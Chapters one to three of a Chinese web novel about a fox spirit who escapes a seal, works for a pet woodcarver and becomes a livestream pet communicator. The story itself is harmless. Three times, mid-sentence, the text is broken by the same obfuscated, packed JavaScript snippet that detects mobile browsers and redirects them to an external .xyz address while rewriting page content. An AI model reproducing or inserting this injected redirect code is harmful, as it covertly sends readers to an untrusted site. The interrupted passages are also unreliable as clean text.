《宠物沟通师在线答疑》 1. 初见 “烤鸭、炖鸡、醋烹鹅、蒸羊羔、烧猪肉……嗯？” 漆黑的封印破开个口子，日光射进来，打断了林小柳的美食顺口溜，她眯着眼睛，伸手穿过光线，喃喃自语道：“这是阳光？” 狐妖林小柳，初次幻化人形下山，在人间行走不过百天，便惨遭封印，被除妖师困在黑暗中独活五百年。 本以为狐生无望了，没想到还能重见天日，林小柳狂喜，翻身一跃，向光的来处猛冲过去。 封印深处符咒的力量死命将她往回拽，积攒五百年对光明的渴望给了小柳勇气，她用尽全力逃亡，终将摇摇欲坠的封印甩在身后。 逃出生天后第一眼，小柳便看到了一枚狐狸形状的木雕挂坠，造型古朴、栩栩如生，正随着主人的动作摇摇晃晃。 她收拢灵魄附身于挂坠，环顾四周，五百年前这里还是个破庙，这么多年过去了，修缮得倒挺好，庙里主位供奉着山神娘娘，侧边站着俯首帖耳的仕女塑像，一切与记忆中相似。 仕女塑像人身狐尾，内藏乾坤，原是当年除妖师为了封印小柳所塑，可不知为何，受符咒加持的塑像竟缺了一只手，正因为这只断手，破了封印，小柳才能脱困。 “那你说怎么赔！你冲撞了狐仙！” 看门大叔的大嗓门吓得小柳一激灵，同样惶恐的还有狐狸挂坠的主人。 挂坠挂在他的书包上，书包把小柳的视线挡得严严实实，只能靠听觉分辨出挂坠主人是个年轻男子，正言辞恳切地向看门大叔道歉。 原来他是来庙里参观的木雕师，看仕女塑像看得入了迷，不知怎的脚下一滑，往前扑倒，刚好撞断了仕女手腕。 “实在是不好意思，要不这样，我也是学雕塑的，我负责补上，您看怎么样……” “不怎么样！老头我在这儿几十年了，头一次见你这样的，参观能把像毁了？你就是故意的，不赔你就不准走！”大叔越说越急，伸手拦着眼前的年轻人，生怕被他跑了。 小庙里虽然没有别人，大叔的大声斥责还是让木雕师尴尬地满脸通红，他托起书包翻找片刻，把钞票一股脑全挑出来，想要赔给看门大叔。 小柳这才看清他的模样，从清晰的喉结到轮廓分明的下颚再到高挺的鼻梁，一路望上去，就两个字——好看，比小柳见过最帅的白狐大哥还要好看。 原来他就是解救自己的恩人呀。 自古以来，妖入人世最常做的事是什么？ 当然是报恩了！狐妖报恩的故事一代又一代传下来，小时候的小柳总会幻想自己是故事里的女主角，如今那些面孔模糊的男主角们统一有了一张清晰的脸，就是眼前恩人的模样。 恩人，我要报答你！我要像故事里的女主角一样……以！身！相！许！ 可惜，小柳的心声没人听见，木雕师和看门大叔完全不知道她的存在，还在因为塑像断手拉拉扯扯。 除妖师太可恶了，把自己困在塑像里，塑像称仙受香火供奉万人跪拜，小妖困兽却过着暗无天日的生活，小柳越想越气，凝聚灵识，一发力彻底打碎了仕女像。 好端端的一尊塑像顷刻间噼里啪啦成了碎片，惊呆了庙里的两个人类。 看门大叔双腿一软，跪倒在蒲团上，不住地磕头，声音颤抖着念叨：“山神娘娘莫怪罪，山神娘娘莫怪罪……” 木雕师也学着看门大叔跪在蒲团上，自己有错在先，如今又突发异象，一定是山神娘娘显灵警告，他闭着眼睛，虔诚叩拜，请求宽恕。 这么一来，断手的事便不了了之了，看门大叔连赔偿金都忘了要，磕完头便把木雕师轰下山，警告他不可再来。 与磕头磕得七荤八素的木雕师不同，小柳心情愉悦，附在木雕挂坠上，一路伴着微风，闻着花香，满目郁郁葱葱，好不惬意。 五百年了，这是迟来五百年的享受，如果此刻小柳现了原形，那么她的狐脸上一定挂着灿烂的笑。 笑过之后，烦恼却接踵而来，最大的问题是该怎么以身相许呢？ 直接现原形？五百年前她就这么干了，被误以为进村里偷鸡，被村民拿着棍棒驱赶，惨状不堪回首。 化成人形直接去跟恩人表白？五百年前她也这么干了，初化人形，看到心仪的帅哥，就想跟人家交朋友，结果稀里糊涂被卖到了百花楼，还惊动了除妖师。 小柳摇摇头，绝对不行，全部否决。 现在的小柳已经不是当年那只蠢狐狸了，在封印地的艰苦岁月磨练了她的心性，增长了她的智慧，她为自己定下几条规矩—— 第一，绝对不要暴露自己的狐妖身份； 第二，像人一样和恩人自然地相处； 第三，碰到除妖师立马逃命。 一路跟着恩人到了他家，小柳抬头一看，一幢临街的二层小楼，一层似乎是商铺的样子，玻璃门上挂着招牌，可惜小柳还不认识简体字，看了半天也没看出什么名堂。 小柳记下了房子的位置，在恩人进门前脱离挂坠，躲到了草丛里，趁着他开门，小柳一个转身朝远处跑去。 木雕师余光瞥见墙角一条毛茸茸的大尾巴，可当他扭头看时，尾巴却嗖得一下消失不见了，他心里纳闷，这是附近谁家的小狗？跑这么快，怪可爱的。 今天真是人在囧途，他揉揉隐隐作痛的前额，没有多想便进了门。 夜幕降临，华灯初上。 化成人形的小柳站在购物广场，看着满眼繁华，只觉来到了人间仙境，她换上一条纯白短裙，黑发白裙显得格外清纯。 身边人来人往，有人频频侧目，察觉到别人的视线让小柳莫名紧张，她低着头，匆匆回到商场，经验告诉她，引人注目不是件好事，好在大商场里美女如云，小柳混在其中也不算突兀。 商场包罗万象，小柳困了就躲在洗手间休息，饿了就溜去餐厅后厨找吃的，其余时间全都用在了电子产品卖场里。 她在电视机屏幕前坐直身子，商家放什么视频她就看什么，一连看了六天，字认了个七七八八，虽然有些情节看不太懂，不过无伤大雅，不影响她以身相许。 到了第七天，小柳觉得自己初具人样了，便马不停蹄地回去找恩人。 经过了扫盲教育，小柳这才知道门口的招牌上写着“青杨宠物木雕”，原来恩人是专做小动物木雕的，嘿嘿，她也是小动物，这怎么不算一种缘分呢？ 木青杨拉开门，映入眼帘的便是个漂亮姑娘，模样清纯，可似乎脑子不太好，一直盯着自己傻笑。 “咳。”他尴尬地咳嗽一声，先开了口：“您好，您是来应聘的吗？” “应聘？”小柳在脑子里疯狂搜索，哦对，应聘就是找工作，找工作要挣钱，挣到钱才能买饭吃。 “对，我来应聘！” 这毕竟是小柳狐生第一次面试，她正襟危坐，打起十二分精神准备回答面试官木青杨的问题。 前面一些简单的个人信息，小柳答得很顺畅，她在来之前已经给自己编好了身世：从小跟随父母出国，刚毕业人身地不熟的海归。 但一问到复杂的问题，比如说你为什么想做宠物木雕助理，小柳便回答得磕磕绊绊。 毕竟她来之前根本不知道自己要面试，也不知道岗位是什么，更别提连普通话都是临时恶补的。 随着面试的进行，小柳心里愈发惆怅，这么好的机会错过了，以后还能靠什么借口进这个门呢？ 正在小柳发愁之际，哒哒哒，一条小白狗从楼上跑了下来，见到生人，兴奋地绕着小柳扑腾不停。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126306|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木青杨一脸无奈地劝说：“绵绵，冷静！” 小狗可不听他的，扑地更起劲了，兴奋地汪汪叫。 “绵绵你好呀。”小柳兽语比人话说的溜，看到动物自然比看到人亲切许多，在她耳朵里，小狗汪汪叫是在打招呼。 她蹲下身子，摸摸小狗的脑袋，征得它的同意后便抱起小狗回到座位上。 绵绵一打岔，木青杨一时间忘了自己要说什么，不过热爱动物，能和动物友好相处也算是一项很重要的技能。 “我的问题问完了，关于这份工作，您还有什么想了解的吗？”木青杨把笔记本一合，与桌子对面的一人一狗面面相觑。 “额……我现在能开始上班吗？”小柳咽了咽口水，试探性的问。 啊？这么直接吗？ 木青杨被她问得一愣，他明明已经准备好了结束语——好的，那今天就到这里，您先回去等通知，面试通过了我会联系您，可面对着四只水灵灵带着期盼的大眼睛，他的结束语愣是黏着在喉咙里，说不出口。 停顿数秒，木青杨挤出一句“嗯”，结束了今天的面试。 “老板，我还有个问题。” “叫我店长就行，你问，不用客气。” 小柳双手托腮靠在桌面上，不好意思地问：“店长，咱们的工作可不可以提供住宿和三餐？” 木青杨嘴角抽搐，心里一阵后悔，招工还得搭上一间房和伙食费，这就是冲撞山神娘娘的报应吗？ 但转念一想，工资低、杂活又多，有人干就不错了，人家还是海归，毕竟小姑娘也吃不了多少，添副碗筷的事，忍了！ “可以，右手边那间是储物室，里面有点乱，你收拾一下可以当卧室，饭我做。” 好耶！五百年了，小柳第一次拥有了一间真正的人类卧室，阳光能照进来，窗外有小鸟叽叽喳喳，最重要的是和恩人住在一个屋檐下，简直是太幸福了。 虽然她和恩人，一个住楼下，一个住楼上，但她相信总有一天，就像故事里那样，他们一定会同床共枕过上幸福生活。 小柳呼哧呼哧打理好了卧室，这活对她来说没什么难度，和收拾狐狸洞一个道理。 小楼一层是木青杨工作室，各式各样的材料靠墙码放，货架上摆满了大小形态不一的动物雕像，最大的是一只等身金毛犬，还没完工，木青杨一整天都围着它忙活。 小柳第一天的工作内容很充实，包括但不限于遛绵绵、扫地擦桌子、递锉刀拿木锤等等，她力气大精力旺盛，这些工作对她来说小菜一碟。 “开饭啦。” 木青杨在楼上一吆喝，小柳立马放下扫把跑上了楼，“哇”，幸福生活来得太突然，托店长的福，自己都能吃上四菜一汤了。 “店长，这个肉太好吃了！这是什么肉？” “就是普通的鸡肉。”木青杨看着眼前这盘普普通通的宫保鸡丁，被她一顿奉承也忍不住笑。 不过，他很快就笑不出来了。 四菜一汤外加两碗米饭，小柳风卷残云吃得干干净净，这可都是硬菜，木青杨嘴角抽搐，心里又是一阵后悔，这是瘦弱的小姑娘吗？这明明就是饕餮！ “谢谢店长，你做的饭太好吃了，谢谢你的饭。”吃饱喝足的小柳笑眯眯地打了个嗝。 木青杨扶着额头，叹了口气问道：“小柳，你会直播吗？” 他最近雕刻时特意开了直播，意在吸引客户，可是直播间流量堪忧，播了半个月，获客数量还是个位数，既然助理这么能吃，那给她点上难度的工作也是情理之中。 没想到小柳一脸茫然，回答道：“直播是什么？在哪里可以学？” 木青杨眼前一黑，一头栽倒在餐桌上，心里大喊“退货！退货！” 2. 惩罚 退货？ 面对着满脸堆笑的小女孩，这么残忍的话，善良老板木青杨只能在心里想想，实在说不出口。 浑然不觉的小柳顺利入职，几天下来，木青杨发现，她虽然面对各种小家电时像个生活白痴，但总的来说，学习态度端正、执行能力强，让干什么就干什么，从不抱怨。 每天早上工作室的地面被她拖得反光，落地窗也擦得一尘不染，木青杨在窗边工作时，阳光铺洒进来，心情也随之变好。 直到他颠勺颠得肩膀酸痛，拿凿子的手忍不住发颤，一锤下去差点毁了作品时，善良老板木青杨才终于受不了了。 餐桌上，木青杨看着大快朵颐的小柳，语重心长道：“小柳啊，连吃三盘菜了，你吃饱了没？” 小柳身为一只见识短浅的狐狸，当然听不懂他的阴阳怪气，一手盛汤，一手夹菜，嘴里塞得满满当当，含含糊糊地回答：“没有啊店长，我上午把店里的货架都擦了一遍，太累了，补充体力呢。” 就口汤把饭菜顺下去，她一脸灿烂地回了木青杨一个笑容。 木青杨盯着她的眼睛，严肃说道：“小柳你听好，有一个非常重要的任务交给你，从现在开始，你负责咱们店的直播工作。” 小柳一脸平静，干脆回答：“好啊。” 木青杨反问道：“你知道我说的直播怎么做吗？” “暂时不知道，我吃完饭就去学习。”小柳说完便继续扒饭。 木青杨看她无知者无畏的模样，只觉得有点好笑，轻咳一声，故作镇定地说：“明天中午吃饭前，你先针对目前的直播内容提出三条改进建议。” 小柳思忖片刻点点头。 不紧不慢的态度让木青杨皱了眉，他补充道：“你要是完不成会有惩罚。” “什么惩罚？”小柳好奇地问。 “罚你一周都不能吃红烧牛腩。” 话音刚落，小柳匆忙扒了几口饭便要回卧室学习直播。 木青杨把工作手机交接给她，看着她端着手机急急忙忙下楼的背影，心里暗爽—— 果然饭桶还要靠饭来治啊。 卧室里，小柳捧着神奇小盒子，点开店长用来直播的账号，一门心思研究起来。 她先是认真观摩店长的直播回放，安静的美男子对着一大块木头疙瘩敲敲打打，一干就是好几个小时，整场直播没有任何互动，木青杨甚至都很少抬头看镜头。 店长这直播也太没劲了吧，小柳越看越困，手腕不受控制往下掉，一个不小心，手指在屏幕上一划，切换到了下一个直播间。 富有节奏感的音乐和激情的口号，一下子唤醒了打盹的小柳。 睁眼一看，屏幕里一排肌肉男正做着整齐划一的健身动作，单薄的健身服汗湿一片，清晰的肌肉线条和活力四射的笑脸抓人眼球，小小的直播间异常热闹。 小柳接着往下滑，软件似乎洞悉了她的喜好，推荐的都是清一色的帅哥美女，弹琵琶的漂亮姐姐、唱歌跳舞的帅气哥哥，小柳沉醉在帅哥美女世界里无法自拔…… 在小柳沉迷直播间时，木青杨正坐在工作台前卖力工作，他抬头瞅瞅小柳紧闭的房门，心情愉悦，想必这家伙正在认真学习直播运营吧。 一夜过去，唤醒木青杨的不是清晨第一缕阳光，而是手机叮叮咚咚的提示音。 睡意正浓的的他拿过手机瞥了一眼，下一秒却腾得一下坐直身子，瞪大眼睛滑动屏幕。 一条、两条……密密麻麻的消息全部都是付款提示，单笔金额不大，加起来算算总共刷走了三千多块。 工作手机上绑定了他的银行账户，该死的小柳！木青杨一骨碌起床，气冲冲下楼去兴师问罪。 砰砰砰，急促的敲门声催促下，小柳顶着黑眼圈开了门。 木青杨被憔悴的小柳吓了一跳，才过了一晚，阳光少女仿佛被吸干了精气，黑眼圈都快垂到下巴了。 “这怎么回事？”木青杨强压怒火，举起手机，滑动着付款提示让小柳看。 “啊，送小花原来要花钱吗？不好意思，店长。”小柳立马鞠躬认错。 木青杨看着状况外的小柳，推开门进了卧室，一屁股坐在书桌前，严肃说道：“手机拿来我看看。” 小柳毕恭毕敬地递上了手机。 清纯男大：20:00~24:00，送了208朵花，一朵花5块，消费1040元； 长腿叔叔：0:00~3:00，送了147朵花，消费735元； 瑜伽姐姐：3:00~6:00，送了360朵花，消费1800元。 木青杨看着浏览记录，倒吸一口冷气，人在无语的时候真的会笑，他手肘撑在桌面上，扶着额头，轻哼一声问道：“你晚上不睡觉就在看这些东西吗？” 房间里气压过低，连凑热闹的绵绵都乖巧地趴在木青杨脚边，没有了以往的活力。 小柳像被家长抓包的小学生，钉在原地抠着手指，低头认错，一句话都不敢说。 “看来这就是你的学习成果了。”手机被“啪”的一声掷在桌上，小柳吓得一哆嗦。 木青杨看她畏畏缩缩像个鹌鹑，没有说更多责备的话，只是问她：“昨天我说的三条改进建议，你想好了吗？” 小柳顿时来了精神，她熬夜看直播，虽有很大程度是受俊男美女的吸引，但在忙着送小花之余，她一直怀揣着一颗学习的心。 “店长，我看直播的时候仔细学习来着，我知道怎么让直播间人气升高了！” 听她这么一说，木青杨和绵绵同时竖起了耳朵，木青杨示意她继续。 “首先，你的着装要变，咱们的工作服裹得太严实了，店长，你得把你的肌肉露出来，我看你就穿外面的围裙吧，里面的T恤可以脱掉。” 小柳边说边在木青杨身上比划，跟他说明哪里需要露出来。 “还有啊，你不能光坐着做木雕，你得跟观众互动，边做边和直播间的家人们聊天，瞅准时机要礼物。” “店长，你长得这么好看，多看看镜头，肯定会有姐姐给你刷礼物的！” 木青杨脸涨得通红，他低下头，怒火仿佛在头顶燃烧，绵绵察觉到主人的情绪冲小柳汪汪叫，叫她别再说了。 小柳虽接收到了绵绵的警告，但她觉得自己的建议超级棒，没当回事。 冷静了半晌，脸色恢复的木青杨看着昂首邀功的小柳，终于开了口：“小柳啊，这三千多块钱从你工资里扣。” 他站起身，边向外走边说：“还有，这个月的红烧牛腩没了。” 小柳哭丧着脸，追上去刚想分辩几句，却被突然转身的木青杨拦在门口。 “还有，手机没收，你以后不许再看乱七八糟的直播。” 说完，拿着手机，迈开长腿，转身上了楼。 “店长！店长！” 小柳的呼喊无人应答，只有绵绵绕着她蹦蹦跳跳。 “好啦好啦，姐姐带你去上厕所。”小柳跺跺脚，无奈地安抚绵绵。 这一晚真是亏大发了，工资没了，手机没了，连最爱吃的红烧牛腩也没了，小柳心有不甘地牵着绵绵出了门。 …… 整整一个上午，店长都没搭理自己，小柳心情低落到了极点，刷礼物花了店长的钱是她的错，可那些直播建议是她花了一晚上认真总结的，难道就没有一点用吗？ 打工狐小柳第一次尝到了劳动成果被一票否决的滋味。 “小柳。” “在！店长。”突然听到店长叫自己，小柳还以为自己幻听了。 木青杨身边放着一只大箱子和一个小推车，示意小柳到自己身边。 “小柳，这是隔壁小区王奶奶的订单，很沉哦，你推小车送过去，路上一定要小心，别磕碰到。” 小柳环顾一周发现等身金毛不见了，看来箱子里装着的就是那只金毛木雕。 “放心吧店长。”小柳弯下腰，双手稳稳地抱起箱子。 “小心小心。”木青杨没想到小柳力气这么大，这可是实心的木头墩子，心里感叹道小柳真是天赋异禀，吃得多力气大。 “店长，我不用小推车，这个不沉的，小推车太麻烦了。” “你确定可以？这是地址，你看好了啊。”木青杨把地址和路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126307|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线写在纸上，一并塞给小柳，纸上还贴心地画了路线图。 小柳示意木青杨放心，喜滋滋地出了门，终于有新任务了，她暗下决心，这次一定要完美完成。 小柳一路抱着箱子一路哼着歌，走走停停，仔细辨认路线，顺利乘上了电梯，来到了王奶奶家门口。 叮咚。 防盗门里传来老年人颤颤巍巍的声音：“谁呀？” “王奶奶，青杨宠物木雕~” “快请进。”王奶奶开了门，拿着拖鞋，亲切地请小柳进去。 “王奶奶我来送您的木雕，我们店长叫我来的。”小柳乖巧地进了门，放下箱子。 “小美女，力气真大啊。”王奶奶边安置木雕边感叹。 王奶奶家果然有一只金毛狗狗，小柳一落座，狗狗便围着小柳转圈圈。 “哎呦，豆豆这孩子，就喜欢漂亮姐姐。”王奶奶笑眯眯地看着狗狗，眼睛弯成了月牙。 “小美女，你叫什么名字啊？脸圆圆的，长得真喜庆。” 小柳听老人家夸自己，不好意思地说：“我叫小柳，我是店长的助理，刚刚上班没多久。” “你们店长，是个好青年，又高又帅，喜欢小动物，心肠好哦。” 小柳听王奶奶夸自己的恩人，笑得更灿烂了。 “不过奶奶，您为什么要刻这么大个木雕呀？” “哎，这个事情说起来就伤心了……” 呕……旁边的豆豆突然呕吐，打断了王奶奶的话。 “豆豆！你怎么了？”王奶奶焦急地搂着狗狗，帮它顺着气。 小柳也赶忙跑过去查看小狗的情况，将自己听到的告诉王奶奶：“王奶奶，豆豆说它肚子痛。”。 还没等王奶奶说什么，小柳抱起小狗，当机立断说道：“我们去医院吧。”她在电视里看过人生病了要去人医院，小狗生病了也要去小狗医院，豆豆看起来疼得厉害，得抓紧时间去看医生。 王奶奶立刻带上包包跟着小柳出了门。 一路上小柳都能听到豆豆喊肚子难受，她抱着狗狗跑得满头大汗，王奶奶拄着拐棍紧随其后，两人一狗急急忙忙赶去了宠物医院。 在医院做了B超，这才发现豆豆肚子里有一团异物，医生当机立断带着豆豆去催吐。 王奶奶坐在治疗室外面，忍不住泪水涟涟。 小柳在一旁看着心里难受，扶着王奶奶的胳膊，安慰她。 王奶奶回握小柳的手，打开了话匣子：“豆豆马上要被送走了……小狗原来是我女儿在养，可她工作太忙，没有时间照顾就送到我这里来了……” “我本来是不喜欢狗的，但豆豆这孩子很乖、很聪明，从来不捣乱，养了两年多了，从小狗养成大狗。” “可最近我的身体越来越不好，女儿准备回来照顾我，照顾一个病人就够费劲了，她也没有精力再照顾一只小狗，我们最后决定把豆豆送走……我舍不得豆豆，才想着做个木雕摆在家里，就当留个念想了，想它的时候还能摸一摸……” “王奶奶，您不用送走豆豆，我可以照顾它，包在我身上。”小柳拍拍胸脯，坚定地对王奶奶说。 “哎呦，那怎么好意思啊……” “您不用客气，远亲不如近邻，我们应该互相帮助，绵绵和豆豆我可以一起遛，遛完再给您送回去。”远亲不如近邻这句话也是小柳在电视上刚学的，没想到在这里派上了用场。 据医生说，豆豆吃了一只毛线团，幸亏在缠住肠子之前完完整整地吐了出来，催吐完的豆豆又活蹦乱跳地回到了王奶奶身边。 豆豆告诉小柳，它以为自己生病了，王奶奶就舍不得送走他了，这才偷吃了奶奶的毛线。 小柳趁机揉了好几下这个傻孩子的脑袋，告诫它要乖乖的，以后王奶奶不会再送走它了。 “小柳，今天太谢谢你了，你饿了吧，回奶奶家，奶奶给你做饭。”王奶奶左手牵着小柳，右手牵着豆豆，慈爱地说。 “好啊奶奶。”小柳爽快答应，饿扁了的肚子咕咕直叫。 “想吃什么呀？” “奶奶，我想吃红烧牛腩……” 3. 直播 “哦呦，小柳吃饭太招人喜欢了，我女儿小时候可挑食了，从来没像你这样好好吃过一顿。”王奶奶一边收拾碗筷，一边笑眯眯地念叨。 小柳第一次在王奶奶家吃饭，还有点拘谨，尽管王奶奶的红烧牛腩和店长的一样美味，她还是斯斯文文得只吃了两碗，七分饱。 “奶奶，你做的牛腩太好吃了，多亏了你我才能吃上这么好吃的肉。” 王奶奶问道：“你们青杨店长厨艺很好的诶，他没给你做饭吃吗？上次我生病了，他还来家里照顾我，下厨来着。” “哎，我犯错了，我们店长说这一个月都不给我做红烧牛腩了。”小柳垂头丧气地回答。 王奶奶坐到她身边，愤愤不平道：“青杨这孩子怎么这样，你这么好的员工，怎么能不给吃肉呢？今天多亏你救了豆豆，我去说说你们店长，真的是……” 王奶奶从小包里拿出手机，当场便要给木青杨打电话，小柳赶忙拦着她，解释道：“不关店长的事，实在是我不好，工作没做好。” “你跟奶奶说说，工作遇到什么困难啦？”王奶奶在小柳的阻拦下放下了手机，拉着她的手关切的问道。 “店长让我搞直播，但我不知道怎么弄……” “哎呀，这还不简单，小柳你这么懂小狗的心思，你去做宠物沟通啊，上次我在那个直播间里看了好久呢，你等会儿我给你找找……” 王奶奶扶扶老花眼镜，滑上滑下找到了直播间，账号名称“灵宠巫女”，直播间在看人数过万，观众反响也很热烈呢。 小柳好奇地凑过去看了一会儿，还真看出了些门道。 自称为宠物沟通师的主播正在和观众连线，观众是一只猫猫的女主人，她的镜头正对着家里的小猫——妙妙。 猫主人有很多问题想问小猫，无奈语言不通，只能依赖宠物沟通师代为询问。 “我们妙妙这段时间不爱动弹，看着不开心，我想问问他为什么不开心呀？” 猫主人问题一出，主播看着小猫的反应，观察片刻，给出了答案：“妙妙说因为妈妈交了男朋友，不陪妙妙玩，所以不开心。” 猫主人一听这回答，连连称奇，说自己前段时间确实交往了新男朋友，而且妙妙也是在她恋爱后才开始闷闷不乐的。 直播间里众人惊呼太准了，一时间礼物纷至沓来。 王奶奶也被直播间的氛围感染，告诉小柳她也想加入连麦，让主播看看豆豆，她也想知道豆豆心里在想什么。 小柳“切”了一声，这种满嘴跑火车的人都能当主播，钱挣得不亏心吗？ 人家小猫妙妙说的明明是主人倒粮倒得太少了，它挨饿了，所以不爱动弹，跟主人的男朋友半毛钱关系都没有。 主播就是仗着小猫不会说人话胡编乱造，至于女主人交男朋友的事，她主页里就有秀恩爱的视频，只要点击头像进去就能看到，根本不算什么秘密。 “奶奶，这直播间是骗人的，你想知道豆豆在想什么还不简单嘛，我帮你看。”小柳把脑袋凑到手机前面挡住屏幕，打消了王奶奶连线直播间的念头。 看来这宠物沟通直播可以一试，骗子都能成功，难道自己这个根正苗红的兽语专家还怕没人气吗？ 小柳告别了王奶奶，撒丫子朝木雕店跑，迫不及待地想跟木青杨分享直播新点子。 “店长！店长！”小柳风风火火进了门，木青杨却不在一楼工作室，她冲到二楼，在餐桌旁找到了一脸阴沉的木青杨和刚刚睡醒的绵绵。 桌子上码着几盘菜，两副碗筷端端正正的摆在桌面上，无人触碰。 “让你去送货，送到沟里了吗？你看看现在几点了？”这个小员工真是太不像话，木青杨故意压低嗓音问道。 小柳嘿嘿一笑，一点没理会他话里的火药味，狗皮膏药似的蹲在木青杨身边，昂着头轻快地说：“店长，我这回真的知道直播怎么搞了？” “哦？你说说怎么个搞法？”木青杨被她亮晶晶的眼神盯着，不好意思地往后坐了坐，后背紧紧贴在椅背上。 “我来当主播，做宠物沟通。”小柳向前挪一步，双手搭在木青杨腿上，胸有成竹地说。 木青杨轻咳一声，死死靠着椅背，只觉得大腿上小柳的两只手烫得吓人，烫得他头脑发热，一时间不知该说什么，只得支支吾吾回答：“试……试试吧……” “好耶！我先吃饭，吃完饭我就去开直播。”小柳转身坐回座位上，拿起筷子就要开吃。 “诶，等一下，你半天不回来，饭都凉了，我去热热再吃。”木青杨猛地站起身，胳膊撞到了桌沿，他却像没事人一样端起盘子飞快地进了厨房。 一直等到桌上的菜都热了一圈，木青杨大腿上的灼热感才渐渐消退。 小柳边吃边把在王奶奶那儿发生的事讲给木青杨听，木青杨这才知道小员工半天不回家是因为去做好人好事了。 “嗝~” “让你中午一顿下午一顿，吃撑了吧，回屋歇会儿去搞你的直播吧。” 小柳领了圣旨，拿着工作手机退回了自己卧室。 …… 下午三点五十，账号“青杨宠物木雕”正式开播，小柳郑重地敲下了直播标题【宠物沟通师在线答疑】。 她很幸运，一开播就赶上了官方推流，直播间瞬间涌进了五百多人，五分钟后，百分之八十的人留在了直播间。 这些观众驻足的原因十分统一：被小柳这张不施粉黛却清纯美丽的脸吸引。 “各位家人朋友们，欢迎来到宠物沟通师小柳的直播间，您家里有没有小宠物呢？小猫小狗仓鼠小兔子不限种类，小柳都能无障碍沟通，四点钟我们直播间将开启第一波人宠连线，欢迎各位宠物主踊跃参加哦。” 一时间弹幕滚动起来： 【主播是新人吗？长得好漂亮啊！】 【宠物沟通是什么？】 【骗人的吧，什么都能问吗？】 【没有宠物……】 小柳一条条读过去，心里有点失望，直播间看似热闹，可参与讨论的人却没有连线的打算，甚至很多人都没有宠物，也不关心小动物在想什么。 四点到了，果然还是没有人参与连线，流量来得快去得也快，看小柳没有下一步进展，一部分观众已经失去耐心，无情离开了。 怎么办？如果这次没有抓住推流，出师未捷，以后再想积攒人气可就难了，直播做不起来，下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126308|180066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步带货宠物木雕更是进行不下去。 正当小柳苦恼之际，一个ID名【木头人】的网友进入了直播间，开启了与小柳的连线。 【木头人】没有露脸，摄像头对着地面，小柳看着地板，这颜色莫名熟悉，直到【木头人】开始说话，小柳一下子认出了熟悉的声音，他就是木青杨。 “主播你好，我家里有一只小比熊，我有很多问题想听听它的回答，主播能帮我和它沟通吗？” 店长演技还怪好的嘛，小柳心里美滋滋的，故作镇定开始跟木青杨唱起双簧，笃定地说：“当然可以啦，【木头人】先生，请把您的摄像头对准小比熊哦。” 镜头转向小比熊，哈哈哈这不就是绵绵嘛，小柳嘴角都压不住了，强忍着没有笑出声，绵绵也认出了手机屏幕里的小柳，兴奋地蹦蹦跳跳。 弹幕又一次热闹起来： 【好可爱的小狗啊？】 【问问它几岁了，叫什么名字？】 【狗主人怎么不露脸，声音好好听哦~】 小柳顺应网友的意思，明知故问道：“【木头人】先生，小比熊叫什么名字呀？” “它叫绵绵，是个小女孩，今年四岁了。” “好哦，那咱们就开始沟通吧，您想问什么问题呢？” “问问它最喜欢吃什么肉，它最近总是食欲不振的样子，我想给它改善改善伙食。” 小柳对着绵绵重复了木青杨的问题，只见绵绵冲着摄像头汪汪叫了两声，尾巴摇成了螺旋桨。 小柳听到绵绵的回答却羞红了脸，她对着木青杨及直播间的观众给出了绵绵的答案。 “绵绵说它最喜欢吃的是羊肉，最好是那种切成一小块一小块的，大小适中又很有嚼劲。” 弹幕里立即有观众评价这小狗还怪会享受的。 不过，绵绵不仅说了爱吃的肉，它还说了为什么最近吃的不多。 小柳接着解释：“绵绵还说，它觉得爸爸的女朋友饭量很大，它想自己少吃点，把肉让给未来的妈妈吃，并不是食欲不振……” 【木头人】先生久久没有回应，小柳能想象到店长脸上的表情肯定很精彩。 “爸爸的女朋友”，这说的不就是自己吗？绵绵真是有眼力见儿，小柳的报恩之路刚刚起步，它已经把小柳当成“未来的妈妈了”。 小狗这可爱的脑回路萌晕了众人，满屏都是【哈哈哈】，直播间热度飙升，绵绵才回答了第一个问题，在线人数已经到达了七百人。 木青杨可能是因为害羞或是尴尬，和小柳的双簧没能唱多久，问了几个中规中矩的问题便匆匆下了线，不过，有了他做范例，直播间气氛活跃起来了，连线求助一个接一个。 三个小时里，小柳沟通了四只小狗，两只小猫以及一只小仓鼠，小动物的心思既单纯又可爱，征服了很多观众。 一场直播下来，“青杨宠物木雕”账号涨了两百多个关注，尽管小柳还没开始直播带货，订单已经被带动起来，这一下午的新尝试换来了两个定制订单，客单价高达500元，小柳看着后台数据，高兴地在卧室里蹦蹦跳跳。 二楼卧室里，木青杨看了整场直播，心里默默感慨这员工招得真值。 4. 压力 